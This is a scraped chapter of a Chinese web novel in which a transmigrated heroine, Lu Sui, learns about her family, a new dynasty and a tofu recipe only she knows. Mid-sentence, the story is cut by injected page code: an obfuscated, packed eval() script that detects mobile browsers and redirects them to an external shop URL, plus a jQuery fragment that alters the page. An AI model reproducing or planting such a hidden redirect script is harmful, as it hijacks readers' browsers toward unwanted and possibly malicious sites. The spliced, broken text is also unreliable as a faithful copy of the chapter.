文趣网 > 其他小说 > 在烂尾文里当炮灰 > 3. 第 3 章
    虽说卢岁如今的这些叔伯都成家了,可村子里的习俗就是老人在不分家,卢家阿爷阿奶都还在,自然是不可能分家的。

    而且卢家阿爷还是卢氏的族长,自然还要以身作则,不可能带头违背规矩。

    只是到底一大家子人,家里也住不开,不可能全部挤在一起,所以在周围重新盖了几间房子,各房带着自己家的人去住,也省得一大家子的人挤在一起。

    吃喝什么的,都还在公中,包括家里赚来的银钱,也是要交给卢家阿奶。

    听大伯娘说,卢岁的爹在兄弟里排第三,至于她爹娘为什么不在,是因为她爹娘已经去世了,只留下她这么一个女儿。

    对了,她也叫卢岁。

    自己和原主同名同姓。

    听到爹娘去世的时候,卢岁心里并不觉得意外,原主都快死了,爹娘都没出现,这其中肯定有问题。

    卢岁只是突然想起了曾经的一件事情,她做的美食视频火了之后,涨了不少粉丝,自然也是赚了钱的。

    就去寺庙给父母,还有爷爷奶奶供奉了长明灯,那会儿就有个和尚替她算过,说她父母缘浅。

    没想到就算是穿越了,她也依旧没有父母。并且原主的父母,也是在她很小的时候去世的。

    听着大伯娘的意思,似乎原主的爷爷奶奶也很疼爱她,这倒是跟自己是一样的。

    那位大师算的可真准,她真的父母缘浅。

    卢岁如今更加自己是穿越了,身世都如此的相似。再加上这位大伯娘的话,卢岁知道了不少的事情,而且原主好像才十六岁。

    家里的事情了解了一下,卢岁还没有忘记询问自己心里的疑惑。

    “大伯娘,豆腐方子是怎么回事?”

    据她所知,豆腐并不是什么特殊的东西,难道这个豆腐跟她知道的豆腐不一样,里头有什么秘方不成?

    这个得好好问清楚,毕竟听那位四婶娘的意思,秘方还只有自己知道。

    她又不是原主,不问清楚,又怎么知道那是个什么秘方。

    见卢岁问起这个问题,四婶唐桂花便迫不及待的开口,把事情竹筒倒豆子般说了出来。

    “岁丫,你应该没把豆腐点卤的法子给忘记吧?”唐桂花小心翼翼的问道。

    这不知道卤水,她们光会磨豆子也没用啊,只能煮豆浆,做不成豆腐不说,连豆腐脑都没法做。

    卢岁低头看着自己放在被子上的手没说话。

    听着她们说的做豆腐的法子,显然就是她所知道的那个法子。

    可是这根本就不对劲啊。

    她是会做豆腐,可是豆腐哪有这么稀罕。

    豆腐可是有上千年的历史,怎么从她们嘴里听着好像是什么稀罕物一样,还说这附近几个村子里,就只有他们家会做豆腐。

    卢岁又问了几句,得知现在的朝代是楚朝,不是她听说过的任何朝代,前朝皇帝不作为,害苦了百姓。

    那年头很乱,到处打仗,还四处征兵,他们心里清楚的很,世道乱成这样,一旦出去了,活着说不准还能拼个军功,死了就什么都没了。

    想到那会儿是真的难啊,卢家阿爷上头有三个哥哥,都是在前朝的时候被征丁了,还是强制拉过去的,根本不允许用银子买下名额。

    唯一一个三哥活着回来了,双腿都断了,在家里也只活了不到一年就去了。另外两个哥哥直接就没了消息,这么多年过去了都没音讯,再怎么安慰自己,其实心里也清楚,人定然是没了的。

    大楚建立的前两年,朝廷还在征兵,还好卢岁爹念书格外用功考上了秀才,有了功名,免去了家里人被征丁。

    也好在平宁县的位置偏僻了些,他们村子周围又是山,就算打起来,那些人也不会往山里跑,反而因此没有被战乱波及。

    不然赋税征丁已经够让他们活得艰难,再被那些打仗的人趁乱抢了东西,他们更过不下去。

    大概是到处都乱,那时楚国的开国皇帝揭竿而起,自封为楚王,带着一群人拼杀,推翻了前朝,自己称了帝。

    楚国建国至今,其实还不足二十年。

    其实很多消息大伯娘并不清楚,只那些战乱的时候,她记得清楚,那会儿她还没嫁人呢,世道乱,她又是姑娘家,根本不敢抛头露面。

    乱世哪里有秩序可言,要不是她爹娘兄长护着,村子里那些游手好闲的人,早就扒了她家的墙头。

    不过新帝登基之后,倒确实是颁布了许多的政策,好处就是世道有了规则约束,不那么乱了。可先前积累下来的东西,哪里是那么容易改变的。

    尤其是对于他们这些远离京城的普通百姓,求的只是一片安宁罢了。

    卢岁听得皱起了眉头,隐约觉得大伯娘说的有些熟悉,就是想不起来在哪里听过。

    “那在我做出豆腐前,你们都没有听说过什么是豆腐吗?”卢岁好奇问道。

    “那当然啦,也就是你聪明,误打误撞做出这么个东西来,才让咱家有了豆腐这个营生。我说岁丫,你该不会真忘记了吧?”唐桂花试探着问道。

    其实做豆腐没那么轻松,黄豆得提前一晚上泡上,天没亮就得起来磨豆子,然后过滤豆渣,煮豆浆,点好了卤之后,还在把豆腐盛出来,等豆腐成型。

    但这些苦又能算得了什么呢?

    之前世道乱的时候,虽说家里人都逃过一劫,可也不是完全没影响的。收得粮食刚下来,还没在手里捂热,就被官府收走了,说是打仗要用的。

    要他们家里的人去打仗,还要他们的粮食,根本不管他们这些百姓的死活。

    请说新帝登基的时候,免了他们三年的赋税,再没有比这个更高兴的时候了,顺便再骂几句前朝那死鬼皇帝不做人。

    比起吃不饱穿不暖,做豆腐根本不算苦,更何况这东西只有他们家会做,能赚钱算什么苦。

    唐桂花是不想再过回以前的日子了,没啥比钱拿在手里,更让她安心的。

    卢岁没回这话,鸡蛋羹实在是不好吃,她感觉好饿,身上也没有多少的力气。

    沉默了一下,卢岁这才开口道:“大伯娘,我好像有了一些关于豆腐的印象,您再跟我多讲讲,我好看看自己能不能想起来更多的事情。村里的事情也跟我一并讲了吧,讲得越多越好,这可能有利于我恢复记忆。”

    “哎呦,大嫂你快跟岁丫讲,可一定要把豆腐方子想起来啊。”唐桂花一听卢岁可能会想起来,连忙催促大嫂跟卢岁继续说。

    她甚至都恨不得自己跟卢岁讲,不过看卢岁的模样,她似乎只想听大嫂说。

    “四弟妹,你跟我来。”

    一直没开口的二伯娘柳银花估摸着也是听不下去了,直接扯着唐桂花的胳膊,把她拉了出去。

    嘴里还说道,“咱们去跟娘说一

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17704829|208288||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    声,说是岁丫已经醒了,说不准娘一高兴,身体就好了。”

    柳银花口中的娘,就是卢岁的奶奶,听说卢岁被顾家逼得去跳河,一个激动也晕了过去,现在还在床上躺着呢。

    卢岁是大姑娘了,家里的男人不好进来看她,听说卢岁醒了,现在都在外头呢。

    至于是关心她,还是关心她脑子里的豆腐方子,卢岁就不知道了,她现在也没心情去深究这些事情。

    那位四婶嗓门挺大的,出去了也能听到她和人说话的声音,也能听到外头有男人的声音。大概是在告诉那些人,她失忆的事情。

    卢岁并没有继承原主的记忆,只能用失忆这个借口,她估摸着,以后也不会想起来的,还是早点儿让大家接受她不记得以前的事情这个说法吧。

    按照大伯娘的说法,别说卢家人,就是整个县城的人,都没听说过有豆腐这个东西,也是卢岁误打误撞的弄出来,她们才知道,黄豆还可以做成豆腐。

    往前她们只吃黄豆,只是煮着吃,就是将黄豆煮到用手轻轻一捻就能捻烂的时候就能吃了。

    黄豆对他们来说,是饱腹的粮食。

    这个说法,还是让卢岁挺震惊的。

    她喜欢研究美食,也会顺带研究一下各种美食的来源。她自己在家里也做过豆腐,自然是知晓豆腐的来源。

    这个没听过的楚朝,在她弄出豆腐之前,居然没有这种东西。

    卢岁心里不可谓不震惊的。

    是真的没有,还只是因为这边的人不知道?

    毕竟豆腐这东西,可不方便长途运输,出现后没有传到这边,也是正常的。

    从目前情况来看,情况对于他们还是有利的。别人不知道这个,那就是新鲜吃食,自然能从中赚上一笔。

    卢岁心里这么想着,也没有表现出来,从这些人的话语中得知,原主并不是个傻的,把最重要的卤水把控在了自己的手里,没有她那卤水去点豆腐,其他人根本做不出豆腐来。

    而且做豆腐赚的钱,她是拿大头的。

    也难怪她躺了这么久,家里人嘘寒问暖的。

    另外,还有一个最重要的问题。

    “大伯娘,好端端的,我为什么会跳河?”

    田巧娘愣了一下,看着卢岁的面容有点复杂。

    “岁丫,你真的一点儿都不记得了?”

    卢岁有点儿不好的预感,看来她这受伤的理由,似乎不是很好啊。

    可不管怎么样,她也应该知道的。

    “没事大伯娘,您就直说吧。”

    田巧娘叹了一声,也想着多说一声,卢岁有可能早点儿恢复记忆,便把所有事情都原原本本的同她讲了。

    “这事还得从你娘活着的时候说起。”

    石磨村有三姓人家,有两个姓,是早些年逃难的时候落户来的,他们卢姓是本地人,柳顾两家是后来的,慢慢的那两家发展的好,在村子里的话语权也逐渐重了起来,现在有什么大事,都是三家族老坐下来仔细商量的。

    卢岁的亲娘还活着的时候,把她和村子里的顾姓一家定了娃娃亲。

    她亲娘是大夫的女儿,懂些医术,救了那顾家小儿一命,顾家人上门道谢,还定下了卢岁和顾家三郎的娃娃亲。

    这事两边的长辈都是认可的,自然订下了这娃娃亲,那就意味着,等二人长大,那顾三郎是要娶卢岁为妻的。